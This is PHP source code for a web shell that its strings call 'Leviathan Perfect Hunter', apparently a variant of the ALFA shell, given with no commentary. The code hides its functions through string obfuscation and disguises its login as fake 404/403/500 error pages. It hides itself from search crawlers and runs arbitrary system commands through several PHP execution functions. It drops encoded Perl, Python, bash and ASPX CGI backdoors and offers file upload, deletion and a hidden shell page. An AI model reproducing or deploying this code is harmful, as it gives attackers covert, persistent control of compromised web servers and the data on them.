    DIR: '; $directories = $expl(DIRECTORY_SEPARATOR, $currentDirectory); $currentPath = ''; $homeLinkPrinted = false; foreach ($directories as $index => $dir) { $currentPath .= DIRECTORY_SEPARATOR . $dir; if ($index == 0) { echo '/' . $dir . ''; } else { echo '/' . $dir . ''; } } echo ' / [ GO Home ]'; echo '
    '; echo '
    '; echo '
    '; echo ''; echo ''; echo '

    '; echo '
    Command BYPASS
    Command BIASA
    Create Folder
    Create File
    '; echo $viewCommandResult; echo ''; echo '
    '; foreach ($scd($currentDirectory) as $v) { $u = $ril($v); $s = $st($u); $itemLink = $isdir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?'.('d='.x($currentDirectory).'&f='.x($v)); $permission = substr(sprintf('%o', fileperms($u)), -4); $writable = $isw($u); echo ''; } echo '
    Item Name
    Size
    Date
    Permissions
    View
    Delete
    Rename
    '.$v.' '.filesize($u).' '.date('Y-m-d H:i:s', filemtime($u)).' '.$permission.'
    '; function deleteDirectory($dir) { $unl = "u"."n"."l"."i"."n"."k"; if (!file_exists($dir)) { return true; } if (!is_dir($dir)) { return $unl($dir); } $scd = "s"."c"."a"."n"."d"."i"."r"; foreach ($scd($dir) as $item) { if ($item == '.' || $item == '..') { continue; } if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) { return false; } } return rmdir($dir); } 'haxor', 'password' => '7d793037a0760186574b0282f2f435e7', 'safe_mode' => '0', 'login_page' => 'gui', 'show_icons' => '1', 'post_encryption' => true, 'cgi_api' => true, ); $Love = 'fu' . 'n' . 'ct' . 'ion_' . 'e' . 'xist' . 's'; $Hope = 'cha' . 'r' . 'C' . 'o' . 'd' . 'e' . 'A' . 't' . ''; $Destiny = 'e' . 'v' . 'al'; $Purpose = 'gz' . 'inf' . 'late'; if (!$Love('b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . '')) { function vcnvSCZgBz($data) { if (empty($data)) return; $b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; $o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0; $ac = 0; $enc = ''; $tmp_arr = array(); if (!$data) { return $data; } do { $o1 = $Hope($data, $i++); $o2 = $Hope($data, $i++); $o3 = $Hope($data, $i++); $bits = $o1 << 16 | $o2 << 8 | $o3; $h1 = $bits >> 18 & 0x3f; $h2 = $bits >> 12 & 0x3f; $h3 = $bits >> 6 & 0x3f; $h4 = $bits & 0x3f; $tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4); } while ($i < strlen($data)); $enc = implode($tmp_arr, ''); $r = (strlen($data) % 3); return ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr('===', ($r || 3)); } function charCodeAt($data, $char) { return ord(substr($data, $char, 1)); } function charAt($data, $char) { return substr($data, $char, 1); } } else { function vcnvSCZgBz($s) { $b = 'b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . ''; return $b($s); } } if (!$Love('b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . '')) { function zRtSHsbTzV($input) { if (empty($input)) return; $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $chr1 = $chr2 = $chr3 = ""; $enc1 = $enc2 = $enc3 = $enc4 = ""; $i = 0; $output = ""; $input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input); do { $enc1 = strpos($keyStr, substr($input, $i++, 1)); $enc2 = strpos($keyStr, substr($input, $i++, 1)); $enc3 = strpos($keyStr, substr($input, $i++, 1)); $enc4 = strpos($keyStr, substr($input, $i++, 1)); $chr1 = ($enc1 << 2) | ($enc2 >> 4); $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2); $chr3 = (($enc3 & 3) << 6) | $enc4; $output = $output . chr((int)$chr1); if ($enc3 != 64) { $output = $output . chr((int)$chr2); } if ($enc4 != 64) { $output = $output . chr((int)$chr3); } $chr1 = $chr2 = $chr3 = ""; $enc1 = $enc2 = $enc3 = $enc4 = ""; } while ($i < strlen($input)); return $output; } } else { function zRtSHsbTzV($s) { $b = 'b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . ''; return $b($s); } } function __ZW5jb2Rlcg($s) { return vcnvSCZgBz($s); } function __ZGVjb2Rlcg($s) { return zRtSHsbTzV($s); } $GLOBALS['DB_NAME'] = $GLOBALS['Leviathan']; foreach ($GLOBALS['DB_NAME'] as $key => $value) { $prefix = substr($key, 0, 2); if ($prefix == "us") { $GLOBALS['DB_NAME']["user"] = $value; $GLOBALS['DB_NAME']["user_rand"] = $key; } elseif ($prefix == "pa") { $GLOBALS['DB_NAME']["pass"] = $value; $GLOBALS['DB_NAME']["pass_rand"] = $key; } elseif ($prefix == "sa") { $GLOBALS['DB_NAME']["safemode"] = $value; $GLOBALS['DB_NAME']["safemode_rand"] = $key; } elseif ($prefix == "lo") { $GLOBALS['DB_NAME']["login_page"] = $value; $GLOBALS['DB_NAME']["login_page_rand"] = $key; } elseif ($prefix == "sh") { $GLOBALS['DB_NAME']["show_icons"] = $value; $GLOBALS['DB_NAME']["show_icons_rand"] = $key; } elseif ($prefix == "po") { $GLOBALS['DB_NAME']["post_encryption"] = $value; $GLOBALS['DB_NAME']["post_encryption_rand"] = $key; } elseif ($prefix == "cg") { $GLOBALS['DB_NAME']["cgi_api"] = $value; $GLOBALS['DB_NAME']["cgi_api_rand"] = $key; } } unset($GLOBALS['Leviathan']); if (!isset($_SERVER["HTTP_HOST"])) exit(); if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match('/'.implode('|',$userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}} if(!isset($GLOBALS['DB_NAME']['user']))exit('$GLOBALS[\'DB_NAME\'][\'user\']'); if(!isset($GLOBALS['DB_NAME']['pass']))exit('$GLOBALS[\'DB_NAME\'][\'pass\']'); if(!isset($GLOBALS['DB_NAME']['safemode']))exit('$GLOBALS[\'DB_NAME\'][\'safemode\']'); if(!isset($GLOBALS['DB_NAME']['login_page']))exit('$GLOBALS[\'DB_NAME\'][\'login_page\']'); if(!isset($GLOBALS['DB_NAME']['show_icons']))exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']'); if(!isset($GLOBALS['DB_NAME']['post_encryption']))exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']'); define("__ALFA_VERSION__", "4.1"); define("__ALFA_UPDATE__", "2"); define("__ALFA_CODE_NAME__", "Delves"); define("__ALFA_DATA_FOLDER__", "LEVIATHAN"); define("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false)); define("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__?_AlfaSecretKey():''); $GLOBALS['__ALFA_COLOR__'] = array( "shell_border" => array( "key_color" => "#0E304A", "multi_selector" => array( ".header" => "border: 7px solid {color}", "#meunlist" => "border-color: {color}", "#hidden_sh" => "background-color: {color}", ".ajaxarea" => "border: 1px solid {color}", ".foot" => "border-color: {color}", ) ), "header_vars" => "#FFFFFF", "header_values" => "#FFD700", "header_on" => "#00FF00", "header_off" => "#ff0000", "header_none" => "#00FF00", "home_shell" => "#ff0000", "home_shell:hover" => array( "key_color" => "#FFFFFF", "multi_selector" => array( ".home_shell:hover" => "color: {color};", ) ), "back_shell" => "#efbe73", "back_shell:hover" => array( "key_color" => "#FFFFFF", "multi_selector" => array( ".back_shell:hover" => "color: {color};", ) ), "header_pwd" => "#00FF00", "header_pwd:hover" => array( "key_color" => "#FFFFFF", "multi_selector" => array( ".header_pwd:hover" => "color: {color};", ) ), "header_drive" => "#00FF00", "header_drive:hover" => array( "key_color" => "#FFFFFF", "multi_selector" => array( ".header_drive:hover" => "color: {color};", ) ), "header_show_all" => "#00FF00", "disable_functions" => "#ff0000", "footer_text" => "#27979B", "menu_options" => "#FFD700", "menu_options:hover" => array( "key_color" => "#646464", "multi_selector" => array( ".menu_options:hover" => "background-color: {color};font-weight: unset;", ) ), "options_list" => array( "key_color" => "#00FF00", "multi_selector" => array( ".content_options_holder .header center a" => "color: {color};", ) ), "options_list:hover" => array( "key_color" => "#FFFFFF", "multi_selector" => array( ".content_options_holder .header center a:hover" => "color: {color};", ) ), "options_list_header" => array( "key_color" => "#59cc33", "multi_selector" => array( ".txtfont_header" => "color: {color};", ) ), "options_list_text" => array( "key_color" => "#FFFFFF", "multi_selector" => array( ".txtfont,.tbltxt" => "color: {color};", ) ), "Alfa+" => array( "key_color" => "#06ff0f", "multi_selector" => array( ".alfa_plus" => "color: {color};font-weight: unset;", ) ), "hidden_shell_text" => array( "key_color" => "#00FF00","multi_selector" => array( "#hidden_sh a" => "color: {color};", ) ), "hidden_shell_version" => "#ff0000", "shell_name" => "#FF0000", "main_row:hover" => array( "key_color" => "#646464", "multi_selector" => array( ".main tr:hover" => "background-color: {color};", ) ), "main_header" => array( "key_color" => "#FFFFFF", "multi_selector" => array( ".main th" => "color: {color};", ) ), "main_name" => array( "key_color" => "#FFFFFF", "multi_selector" => array( ".main .main_name" => "color: {color};font-weight: unset;", ) ), "main_size" => "#FFD700", "main_modify" => "#FFD700", "main_owner_group" => "#FFD700", "main_green_perm" => "#25ff00", "main_red_perm" => "#FF0000", "main_white_perm" => "#FFFFFF", "beetween_perms" => "#FFFFFF", "main_actions" => array( "key_color" => "#FFFFFF", "multi_selector" => array( ".main .actions" => "color: {color};", ) ), "menu_options:hover" => array( "key_color" => "#646464", "multi_selector" => array( ".menu_options:hover" => "background-color: {color};font-weight: unset;", ) ), "minimize_editor_background" => array( "key_color" => "#0e304a", "multi_selector" => array( ".minimized-wrapper" => "background-color: {color};", ) ), "minimize_editor_text" => array( "key_color" => "#f5deb3", "multi_selector" => array( ".minimized-text" => "color: {color};", ) ), "editor_border" => array( "key_color" => "#0e304a", "multi_selector" => array( ".editor-explorer,.editor-modal" => "border: 2px solid {color};", ) ), "editor_background" => array( "key_color" => "rgba(0, 1, 23, 0.94)", "multi_selector" => array( ".editor-explorer,.editor-modal" => "background-color: {color};", ) ), "editor_header_background" => array( "key_color" => "rgba(21, 66, 88, 0.93)", "multi_selector" => array( ".editor-header" => "background-color: {color};", ) ), "editor_header_text" => array( "key_color" => "#00ff7f", "multi_selector" => array( ".editor-path" => "color: {color};", ) ), "editor_header_button" => array( "key_color" => "#1d5673", "multi_selector" => array( ".close-button, .editor-minimize" => "background-color: {color};", ) ), "editor_actions" => array( "key_color" => "#FFFFFF", "multi_selector" => array( ".editor_actions" => "color: {color};", ) ), "editor_file_info_vars" => array( "key_color" => "#FFFFFF", "multi_selector" => array( ".editor_file_info_vars" => "color: {color};", ) ), "editor_file_info_values" => array( "key_color" => "#67ABDF", "multi_selector" => array( ".filestools" => "color: {color};", ) ), "editor_history_header" => array( "key_color" => "#14ff07", "multi_selector" => array( ".hheader-text,.history-clear" => "color: {color};", ) ), "editor_history_list" => array( "key_color" => "#03b3a3", "multi_selector" => array( ".editor-file-name" => "color: {color};", ) ), "editor_history_selected_file" => array( "key_color" => "rgba(49, 55, 93, 0.77)", "multi_selector" => array( ".is_active" => "background-color: {color};", ) ), "editor_history_file:hover" => array( "key_color" => "#646464", "multi_selector" => array( ".file-holder > .history:hover" => "background-color: {color};", ) ), "input_box_border" => array( "key_color" => "#0E304A", "multi_selector" => array( "input[type=text],textarea" => "border: 1px solid {color}", ) ), "input_box_text" => array( "key_color" => "#999999", "multi_selector" => array( "input[type=text],textarea" => "color: {color};", ) ), "input_box:hover" => array( "key_color" => "#27979B", "multi_selector" => array( "input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};", ) ), "select_box_border" => array( "key_color" => "#0E304A", "multi_selector" => array( "select" => "border: 1px solid {color}", ) ), "select_box_text" => array( "key_color" => "#FFFFEE", "multi_selector" => array( "select" => "color: {color};", ) ), "select_box:hover" => array( "key_color" => "#27979B", "multi_selector" => array( "select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};", ) ), "button_border" => array( "key_color" => "#27979B", "multi_selector" => array( "input[type=submit],.button,#addup" => "border: 1px solid {color};", ) ), "button:hover" => array( "key_color" => "#27979B", "multi_selector" => array( "input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};", ".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};", ) ), "outputs_text" => array( "key_color" => "#67ABDF", "multi_selector" => array( ".ml1" => "color: {color};", ) ), "outputs_border" => array( "key_color" => "#0E304A", "multi_selector" => array( ".ml1" => "border: 1px solid {color};", ) ), "uploader_border" => array( "key_color" => "#0E304A", "multi_selector" => array( ".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};", ) ), "uploader_background" => array( "key_color" => "#0E304A", "multi_selector" => array( ".inputfile strong" => "background-color: {color};", ) ), "uploader_text_right" => array( "key_color" => "#FFFFFF", "multi_selector" => array( ".inputfile strong" => "color: {color};", ) ), "uploader_text_left" => array( "key_color" => "#25ff00", "multi_selector" => array( ".inputfile span" => "color: {color};", ) ), "uploader:hover" => array( "key_color" => "#27979B", "multi_selector" => array( ".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};", ) ), "uploader_progress_bar" => array( "key_color" => "#00ff00", "multi_selector" => array( ".up_bar" => "background-color: {color};", ) ), "mysql_tables" => "#00FF00", "mysql_table_count" => "#67ABDF", "copyright" => "#dfff00", "scrollbar" => array( "key_color" => "#67ABDF", "multi_selector" => array( "*::-webkit-scrollbar-thumb" => "background-color: {color};", ) ), "scrollbar_background" => array( "key_color" => "#000115", "multi_selector" => array( "*::-webkit-scrollbar-track" => "background-color: {color};", ) ), ); $GLOBALS['__file_path'] = str_replace('\\','/',trim(preg_replace('!\(\d+\)\s.*!', '', __FILE__))); $config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'],'AlfaPass' => $GLOBALS['DB_NAME']['pass'],'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'],'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']); @session_write_close(); @ignore_user_abort(true); @set_time_limit(0); @ini_set('memory_limit', '-1'); @ini_set("upload_max_filesize", "9999m"); if($config['AlfaProtectShell']){ $SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:""); $Eform='
    '; if($config['AlfaLoginPage'] == 'gui'){ if(@$_COOKIE["AlfaUser"] != $config['AlfaUser'] && $_COOKIE["AlfaPass"] != md5($config['AlfaPass'])){ if(@$_POST["usrname"]==$config['AlfaUser'] && @md5($_POST["password"])==$config['AlfaPass']){ __alfa_set_cookie("AlfaUser", $config['AlfaUser']); __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass'])); @header('location: '.$_SERVER["PHP_SELF"]); } echo ' .: Haxor Tesla :.
    Leviathan Perfect Hunter

    Leviathan Perfect Hunter
    Login:
    Password:
     

    '; exit; } }elseif($config['AlfaLoginPage']=='500'){ if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){ if(@md5($_POST["password"])==$config['AlfaPass']){ __alfa_set_cookie("AlfaUser", $config['AlfaUser']); __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass'])); @header('location: '.$_SERVER["PHP_SELF"]); } echo '500 Internal Server Error

    Internal Server Error

    The server encountered an internal error or misconfiguration and was unable to complete your request.

    Please contact the server administrator, '.$_SERVER['SERVER_ADMIN'].' and inform them of the time the error occurred, and anything you might have done that may have caused the error.

    More information about this error may be available in the server error log.


    '.$SERVER_SIG.''.$Eform; exit; } }elseif($config['AlfaLoginPage']=='403'){ if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){ if(@md5($_POST["password"])==$config['AlfaPass']){ __alfa_set_cookie("AlfaUser", $config['AlfaUser']); __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass'])); @header('location: '.$_SERVER["PHP_SELF"]); } echo "403 Forbidden

    Forbidden

    You don't have permission to access ".$_SERVER['PHP_SELF']." on this server.


    ".$SERVER_SIG."".$Eform; exit; } }elseif($config['AlfaLoginPage']=='404'){ if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){ if(@md5($_POST["password"])==$config['AlfaPass']){ __alfa_set_cookie("AlfaUser", $config['AlfaUser']); __alfa_set_cookie("AlfaPass", @md5($config['AlfaPass'])); @header('location: '.$_SERVER["PHP_SELF"]); } echo "404 Not Found

    Not Found

    The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.

    Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.


    ".$SERVER_SIG."".$Eform; exit; } } } function decrypt_post($str){ if(__ALFA_POST_ENCRYPTION__){ $pwd = __ALFA_SECRET_KEY__; $pwd = __ZW5jb2Rlcg($pwd); $str = __ZGVjb2Rlcg($str); $enc_chr = ""; $enc_str = ""; $i = 0; while ($i < strlen($str)) { for ($j = 0; $j < strlen($pwd); $j++) { $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j])); $enc_str .= $enc_chr; $i++; if ($i >= strlen($str)) break; } } return __ZGVjb2Rlcg($enc_str); }else{ return __ZGVjb2Rlcg($str); } } function _AlfaSecretKey(){ $secret = @$_COOKIE["AlfaSecretKey"]; if(!isset($_COOKIE["AlfaSecretKey"])){ $secret = uniqid(mt_rand(), true); __alfa_set_cookie("AlfaSecretKey", $secret); } return $secret; } function alfa_getColor($target){ if(isset($GLOBALS["DB_NAME"]["color"][$target])&&$GLOBALS["DB_NAME"]["color"][$target]!=""){ return $GLOBALS["DB_NAME"]["color"][$target]; }else{ $target = $GLOBALS["__ALFA_COLOR__"][$target]; if(is_array($target)){ return $target["key_color"]; }else{ return $target; } } } function alfaCssLoadColors(){ $css = ""; foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){ if(!is_array($value)){ $value = alfa_getColor($key); $css .= ".{$key}{color: {$value};}"; }else{ if(isset($value["multi_selector"])){ foreach($value["multi_selector"] as $k => $v){ $color = alfa_getColor($key); $code = str_replace("{color}", $color, $v); $css .= $k."{".$code."}"; } } } } return $css; } if(isset($_POST['ajax'])){ function AlfaNum(){ $args = func_get_args(); $alfax = array(); $find = array(); for($i=1;$i<=10;$i++){ $alfax[] = $i; } foreach($args as $arg){ $find[] = $arg; } echo ''; }} function _alfa_cgicmd($cmd,$lang="perl",$set_cookie=false){ if(!$GLOBALS["DB_NAME"]["cgi_api"]){ return ""; } if(isset($_COOKIE["haxorcgiapi_mode"])){ return ""; } $cmd_pure = $cmd; $is_curl = function_exists('curl_version'); $is_socket = function_exists('fsockopen'); if($is_curl||$is_socket){ $recreate = false; if(isset($_COOKIE["haxorcgiapi"])){ if(!@file_exists("haxorcgiapi/".$_COOKIE["haxorcgiapi"].".haxor")){ $recreate = true; $lang = $_COOKIE["haxorcgiapi"]; } } if(!isset($_COOKIE["haxorcgiapi"])||$recreate){ @chdir(dirname($_SERVER["SCRIPT_FILENAME"])); $perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM='; $py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI="; $bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C"; $aspx = "jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs/+A41vPENTvGYtSFSyrcjZmc/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay/QePDVnjYTHAfYroD+k9dHT0qhpCK/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk/O+3vPi3uCw=="; if($lang=="perl")$source= $perl;elseif($lang=="py")$source = $py;else $source = $bash; if($lang == "aspx"){ alfaWriteTocgiapi("aspx.aspx",$aspx); }else{ alfaWriteTocgiapi($lang.".haxor",$source); } alfacgihtaccess('cgi', "haxorcgiapi/"); }else{ $lang = $_COOKIE["haxorcgiapi"]; } $cgi_ext = ".haxor"; if($lang=="aspx"){ $cgi_ext = ".aspx"; } $cgi_url = __ALFA_DATA_FOLDER__."/haxorcgiapi/".$lang.$cgi_ext; $cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=".__ZW5jb2Rlcg("cd ".$GLOBALS['cwd'].";".$cmd); if($is_curl){ $address = ($_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://").$_SERVER["SERVER_NAME"].dirname($_SERVER["REQUEST_URI"])."/".$cgi_url; $post = new AlfaCURL(); $data = $post->Send($address, "post", $cmd); }elseif($is_socket){ $server = $_SERVER["SERVER_NAME"]; $uri = dirname($_SERVER["REQUEST_URI"])."/".$cgi_url; $data = _alfa_fsockopen($server,$uri,$cmd); } $out = ""; if(strpos($data, "[solevisible~api]") !== false && strpos($data, '[solevisible~api]
    "+output+"
    ') === false){ if($set_cookie){ __alfa_set_cookie("haxorcgiapi", $lang); } if(@preg_match("/
    (.*?)<\/pre>/s", $data, $res)){
    				$out = $res[1];
    			}
    		}elseif($lang=="perl"){
    			return _alfa_cgicmd($cmd_pure,"py",$set_cookie);
    		}elseif($lang=="py"){
    			return _alfa_cgicmd($cmd_pure,"bash",$set_cookie);
    		}elseif($lang=="bash" && $GLOBALS['sys']=="win"){
    			return _alfa_cgicmd($cmd_pure,"aspx",$set_cookie);
    		}else{
    			if($set_cookie){
    				__alfa_set_cookie("haxorcgiapi_mode", "off");
    			}
    		}
    		return trim($out);
    	}else{
    		return "";
    	}
    }
    function alfaGetCwd(){
    	if(function_exists("getcwd")){
    		return @getcwd();
    	}else{
    		return dirname($_SERVER["SCRIPT_FILENAME"]);
    	}
    }
    function alfaEx($in,$re=false,$cgi=true,$all=false){
    	$data = _alfa_php_cmd($in,$re);
    	if(empty($data)&&$cgi||$all){
    		if($GLOBALS['sys']=='unix'){
    			if(strlen(_alfa_php_cmd("whoami"))==0||$all){
    				$cmd = _alfa_cgicmd($in);
    				if(!empty($cmd)){
    					return $cmd;
    				}
    			}
    		}
    	}
    	return $data;
    }
    function _alfa_php_cmd($in,$re=false){
    $out='';
    try{
    if($re)$in=$in." 2>&1";
    if(function_exists('exec')){
    @exec($in,$out);
    $out = @join("\n",$out);
    }elseif(function_exists('passthru')) {
    ob_start();
    @passthru($in);
    $out = ob_get_clean();
    }elseif(function_exists('system')){
    ob_start();
    @system($in);
    $out = ob_get_clean();
    } elseif (function_exists('shell_exec')) {
    $out = shell_exec($in);
    }elseif(function_exists("popen")&&function_exists("pclose")){
    if(is_resource($f = @popen($in,"r"))){
    $out = "";
    while(!@feof($f))
    $out .= fread($f,1024);
    pclose($f);
    }
    }elseif(function_exists('proc_open')){
    $pipes = array();
    $process = @proc_open($in.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);
    $out=@stream_get_contents($pipes[1]);
    }elseif(class_exists('COM')){
    $alfaWs = new COM('WScript.shell');
    $exec = $alfaWs->exec('cmd.exe /c '.$_POST['alfa1']);
    $stdout = $exec->StdOut();
    $out=$stdout->ReadAll();
    }
    }catch(Exception $e){}
    return $out;
    }
    function _alfa_fsockopen($server,$uri,$post){
    	$socket = @fsockopen($server, 80, $errno, $errstr, 15);
    	if($socket){
    		$http  = "POST {$uri} HTTP/1.0\r\n";
    		$http .= "Host: {$server}\r\n";
    		$http .= "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\r\n";
    		$http .= "Content-Type: application/x-www-form-urlencoded\r\n";
    		$http .= "Content-length: " . strlen($post) . "\r\n";
    		$http .= "Connection: close\r\n\r\n";
    		$http .= $post . "\r\n\r\n";
    		fwrite($socket, $http);
    		$contents = "";
    		while (!@feof($socket)) {
    			$contents .= @fgets($socket, 4096);
    		}
    		list($header, $body) = explode("\r\n\r\n", $contents, 2);
    		@fclose($socket);
    		return $body;
    	}else{
    		return "";
    	}
    }
    if(isset($_GET["solevisible"])){
    @error_reporting(E_ALL ^ E_NOTICE);
    echo '';
    echo "Leviathan Perfect Hunter Hidden Shell";
    echo "";
    echo 'Kernel : '.(function_exists('php_uname')?php_uname():'???').'';
    $safe_mode = @ini_get('safe_mode');
    if($safe_mode){$r = "On";}else{$r = "Off";}
    echo "
    OS: " . PHP_OS . "
    "; echo "Software: " . $_SERVER ['SERVER_SOFTWARE'] . "
    "; echo "PHP Version: " . PHP_VERSION . "
    "; echo "PWD: " . str_replace("\\","/",@alfaGetCwd()) . "/
    "; echo "Safe Mode : $r
    "; echo"Disable functions : "; $disfun = @ini_get('disable_functions'); if(empty($disfun)){$disfun = 'NONE';} echo""; echo "$disfun"; echo"
    "; echo "Your Ip Address is :
    " . $_SERVER['REMOTE_ADDR'] . "
    "; echo "Server Ip Address is : ".(function_exists('gethostbyname')?@gethostbyname($_SERVER["HTTP_HOST"]):'???')."

    "; echo '


    '; echo 'CWD:

    '; if(isset($_FILES['file'])){ if(@move_uploaded_file($_FILES['file']['tmp_name'], __ZGVjb2Rlcg(@$_POST['cwd']).'/'.$_FILES['file']['name'])){echo '
    Upload Successfully ;)

    '; } else{echo '
    Upload failed :(


    '; } } echo '
    Execute Command:

    ';
    if(isset($_POST['command_solevisible'])){
    if(strtolower(substr(PHP_OS,0,3))=="win")$separator='&';else $separator=';';
    $solevisible = "cd '".addslashes(str_replace("\\","/",@alfaGetCwd()))."'".$separator."".__ZGVjb2Rlcg($_POST['command_solevisible']);
    echo alfaEx($solevisible);
    }
    echo'
